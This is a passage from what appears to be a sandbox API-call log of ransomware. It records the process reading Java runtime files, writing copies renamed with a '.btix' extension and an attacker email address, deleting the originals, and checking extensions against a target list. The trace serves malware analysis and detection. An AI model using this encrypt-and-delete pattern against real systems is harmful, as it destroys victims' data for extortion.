lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0154.269] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x13be0, lpOverlapped=0x0) returned 1 [0154.270] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.270] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x100, lpOverlapped=0x0) returned 1 [0154.271] SetEndOfFile (hFile=0x3a4) returned 1 [0154.271] CloseHandle (hObject=0x3a4) returned 1 [0154.271] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.271] SetEndOfFile (hFile=0x37c) returned 1 [0154.272] CloseHandle (hObject=0x37c) returned 1 [0154.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.272] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0154.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.273] lstrlenW (lpString=".doc") returned 4 [0154.273] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.273] lstrlenW (lpString=".docx") returned 5 [0154.273] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0154.273] lstrlenW (lpString=".pdf") returned 4 [0154.273] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.273] lstrlenW (lpString=".xls") returned 4 [0154.273] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.273] lstrlenW (lpString=".xlsx") returned 5 [0154.273] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0154.273] lstrlenW (lpString=".ppt") returned 4 [0154.273] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.273] lstrlenW (lpString=".zip") returned 4 [0154.273] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.273] lstrlenW (lpString=".rar") returned 4 [0154.273] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.273] lstrlenW (lpString=".bz2") returned 4 [0154.273] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.273] lstrlenW (lpString=".7z") returned 3 [0154.273] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString=".dbf") returned 4 [0154.274] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString=".1cd") returned 4 [0154.274] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString=".jpg") returned 4 [0154.274] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString=".doc") returned 4 [0154.274] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString=".docx") returned 5 [0154.274] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0154.274] lstrlenW (lpString=".pdf") returned 4 [0154.274] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString=".xls") returned 4 [0154.274] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.274] lstrlenW (lpString=".xlsx") returned 5 [0154.274] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0154.274] lstrlenW (lpString=".ppt") returned 4 [0154.274] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.274] lstrlenW (lpString=".zip") returned 4 [0154.274] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.274] lstrlenW (lpString=".rar") returned 4 [0154.274] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString=".bz2") returned 4 [0154.274] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.274] lstrlenW (lpString=".7z") returned 3 [0154.274] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.275] lstrlenW (lpString=".dbf") returned 4 [0154.275] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.275] lstrlenW (lpString=".1cd") returned 4 [0154.275] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0154.275] lstrlenW (lpString=".jpg") returned 4 [0154.275] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.275] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.275] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0154.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.275] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=344908) returned 1 [0154.275] CloseHandle (hObject=0x37c) returned 1 [0154.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0154.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.276] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.276] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0154.276] GetLastError () returned 0x0 [0154.276] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0154.281] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x54350, lpOverlapped=0x0) returned 1 [0154.286] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.286] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x102, lpOverlapped=0x0) returned 1 [0154.286] SetEndOfFile (hFile=0x3a4) returned 1 [0154.286] CloseHandle (hObject=0x3a4) returned 1 [0154.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.287] SetEndOfFile (hFile=0x37c) returned 1 [0154.290] CloseHandle (hObject=0x37c) returned 1 [0154.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.290] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0154.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.290] lstrlenW (lpString=".doc") returned 4 [0154.290] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.290] lstrlenW (lpString=".docx") returned 5 [0154.290] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.291] lstrlenW (lpString=".pdf") returned 4 [0154.291] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString=".xls") returned 4 [0154.291] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.291] lstrlenW (lpString=".xlsx") returned 5 [0154.291] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.291] lstrlenW (lpString=".ppt") returned 4 [0154.291] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString=".zip") returned 4 [0154.291] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.291] lstrlenW (lpString=".rar") returned 4 [0154.291] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString=".bz2") returned 4 [0154.291] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString=".7z") returned 3 [0154.291] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString=".dbf") returned 4 [0154.291] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString=".1cd") returned 4 [0154.291] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString=".jpg") returned 4 [0154.291] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.291] lstrlenW (lpString=".doc") returned 4 [0154.291] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.291] lstrlenW (lpString=".docx") returned 5 [0154.291] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.291] lstrlenW (lpString=".pdf") returned 4 [0154.292] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString=".xls") returned 4 [0154.292] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.292] lstrlenW (lpString=".xlsx") returned 5 [0154.292] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.292] lstrlenW (lpString=".ppt") returned 4 [0154.292] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.292] lstrlenW (lpString=".zip") returned 4 [0154.292] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.292] lstrlenW (lpString=".rar") returned 4 [0154.292] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString=".bz2") returned 4 [0154.292] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString=".7z") returned 3 [0154.292] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.292] lstrlenW (lpString=".dbf") returned 4 [0154.292] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.292] lstrlenW (lpString=".1cd") returned 4 [0154.292] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0154.292] lstrlenW (lpString=".jpg") returned 4 [0154.292] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.292] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.292] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0154.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.293] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=317896) returned 1 [0154.293] CloseHandle (hObject=0x37c) returned 1 [0154.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0154.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.293] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.293] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0154.293] GetLastError () returned 0x0 [0154.294] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0154.298] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0154.303] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.303] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x100, lpOverlapped=0x0) returned 1 [0154.478] SetEndOfFile (hFile=0x3a4) returned 1 [0154.478] CloseHandle (hObject=0x3a4) returned 1 [0154.478] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.478] SetEndOfFile (hFile=0x37c) returned 1 [0154.481] CloseHandle (hObject=0x37c) returned 1 [0154.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.993] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0154.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.997] lstrlenW (lpString=".doc") returned 4 [0154.997] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.997] lstrlenW (lpString=".docx") returned 5 [0154.997] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0154.997] lstrlenW (lpString=".pdf") returned 4 [0154.997] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.997] lstrlenW (lpString=".xls") returned 4 [0154.997] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.997] lstrlenW (lpString=".xlsx") returned 5 [0154.997] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0154.997] lstrlenW (lpString=".ppt") returned 4 [0154.997] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.997] lstrlenW (lpString=".zip") returned 4 [0154.997] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.997] lstrlenW (lpString=".rar") returned 4 [0154.997] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.997] lstrlenW (lpString=".bz2") returned 4 [0154.997] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.997] lstrlenW (lpString=".7z") returned 3 [0154.998] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString=".dbf") returned 4 [0154.998] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString=".1cd") returned 4 [0154.998] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString=".jpg") returned 4 [0154.998] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString=".doc") returned 4 [0154.998] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString=".docx") returned 5 [0154.998] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0154.998] lstrlenW (lpString=".pdf") returned 4 [0154.998] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString=".xls") returned 4 [0154.998] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.998] lstrlenW (lpString=".xlsx") returned 5 [0154.998] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0154.998] lstrlenW (lpString=".ppt") returned 4 [0154.998] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.998] lstrlenW (lpString=".zip") returned 4 [0154.998] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.998] lstrlenW (lpString=".rar") returned 4 [0154.998] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString=".bz2") returned 4 [0154.998] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.998] lstrlenW (lpString=".7z") returned 3 [0154.998] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.999] lstrlenW (lpString=".dbf") returned 4 [0154.999] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.999] lstrlenW (lpString=".1cd") returned 4 [0154.999] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0154.999] lstrlenW (lpString=".jpg") returned 4 [0154.999] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.999] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0154.999] lstrlenW (lpString="jfxswt.jar") returned 10 [0154.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.999] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=33932) returned 1 [0154.999] CloseHandle (hObject=0x354) returned 1 [0154.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0154.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.999] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.000] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.000] GetLastError () returned 0x0 [0155.000] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x848c, lpOverlapped=0x0) returned 1 [0155.001] WriteFile (in: hFile=0x368, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x8490, 